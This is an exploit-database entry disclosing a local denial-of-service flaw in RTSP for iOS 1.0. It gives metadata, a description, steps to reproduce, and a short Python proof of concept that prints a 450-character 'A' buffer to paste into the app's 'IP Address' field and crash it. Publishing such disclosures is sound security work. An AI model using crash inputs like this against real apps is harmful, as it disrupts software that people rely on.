RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)

vendor:

RTSP for iOS

by:

Luis Martinez

5.5

CVSS

MEDIUM

Denial of Service (DoS) Local

CWE

Product Name: RTSP for iOS

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: iPhone 7 iOS 13.5.1

2020

RTSP for iOS 1.0 – ‘IP Address’ Denial of Service (PoC)

The RTSP for iOS 1.0 application is vulnerable to a denial of service (DoS) attack. By sending a specially crafted request, an attacker can cause the application to crash, resulting in a denial of service condition. The vulnerability exists in the 'IP Address' field of the application. To exploit this vulnerability, an attacker needs to provide a large amount of data (450 bytes) as the value for the 'IP Address' field. This will cause the application to crash when the user interacts with the 'IP Address' field. This proof-of-concept (PoC) code demonstrates the vulnerability by generating a buffer of 450 'A' characters and printing it to the console.

Mitigation:

The vendor has not provided any specific mitigation or remediation steps for this vulnerability. It is recommended to avoid using the RTSP for iOS 1.0 application or to update to a newer version if available.

Source

Exploit-DB raw data:

# Exploit Title: RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)
# Author: Luis Martinez
# Discovery Date: 2020-08-03
# Vendor Homepage: https://appadvice.com/app/rtsp-viewer/1056996189
# Software Link: App Store for iOS devices
# Tested Version: 1.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 13.5.1

# Steps to Produce the Crash:
# 1.- Run python code: RTSP_Viewer_for_iOS_1.0.py
# 2.- Copy content to clipboard
# 3.- Open "RTSP Viewer for iOS"
# 4.- Touch the screen
# 5.- Clic add (+)
# 6.- Name > "l4m5"
# 7.- Paste ClipBoard on "IP Address"
# 8.- Clic Back
# 9.- Message save is successed > OK
# 10.- Click created connection (AAAA...)
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 450
print (buffer)